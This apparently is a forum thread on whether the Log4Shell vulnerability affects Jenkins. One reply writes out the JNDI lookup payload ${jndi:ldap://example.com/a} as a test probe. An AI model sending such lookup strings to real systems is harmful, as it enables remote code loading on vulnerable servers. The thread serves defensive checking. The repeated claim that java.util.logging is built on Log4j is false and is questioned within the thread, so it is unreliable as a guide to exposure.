Hi All,

I am looking for any information relating to whether the Zero Days CVE has any impact on Jenkins or Plugins. We do know that the java.util.logging is built on log4j, but do not know whether protections are in place to prevent this vulnerability from being exploited, and where. For example, could a command in a pipeline trigger this vulnerability.

This is a somewhat urgent request.

Thanks,
Randall

Hi Kritesh,

Thank you for this info.

The problem with that example is that Apache java.util.logging is built on top of Log4j but does not identify as such. I am not convinced that this test is sufficient.

Sincerely,
Randall

Running the script:
println(java.util.logging.Logger.class)

does indicated that Apache logger (built on top of Log4j) is present in the LTS version of Jenkins.

The good news is that passing the ${jndi:ldap://example.com/a} string through the logger does not trigger the CVE behaviour.

Where did you read that java.util.logging is built on log4j?

but do not know whether protections are in place to prevent this vulnerability from being exploited, and where. For example, could a command in a pipeline trigger this vulnerability.
